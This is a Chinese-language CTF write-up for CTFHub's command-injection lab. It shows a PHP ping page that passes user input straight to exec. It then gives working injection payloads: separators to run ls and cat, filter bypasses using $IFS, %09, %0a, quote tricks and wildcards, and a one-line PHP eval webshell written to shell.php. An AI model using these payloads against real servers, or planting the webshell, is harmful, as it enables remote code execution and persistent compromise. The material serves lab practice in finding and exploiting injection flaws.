Web命令注入
无过滤
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
观察html代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录
127.0.0.1;ls;
返回目录:
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => 13175248123414.php
[2] => index.php
)
查看php获得flag
127.0.0.1;cat 13175248123414.php;
flag藏在注释里
过滤cat命令
用其他命令代替
more less tail tac 都行
反斜杠和连接符
ca\t ca’‘t 都可以绕过前端检测
注入木马
构造一句话木马
echo "<?php @eval(\$_POST['pass']);?>" >> shell.php;
过滤空格
拿占位符(?)替代即可
这几个测试可以用
<,$IFS$9,IFS
url占位符可以用这几个
%09 Tab 替代空格(%20不知道为什么用不了)
%0a Enter 换行 用于隔开命令
- 通配符,过滤了特定字符可以用通配符和文件其他特征绕过检测
过滤目录分割符
观察题目需要我们进入文件夹目录得到flag
使用cd再cat就能不用输入了
过滤运算符
|&被过滤了,可以考虑用;
或者用换行符也行(%0a)
upd:换行占位符是在url窗口提交GET请求的时候换的
综合题
啥都过滤完了
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
在url栏输入神秘代码
文件结构是用ls调试出来的,找到flag在哪了以后用通配符和连接符绕开检测
ip=127.0.0.1%0acd%09*here%0aca''t%09*.php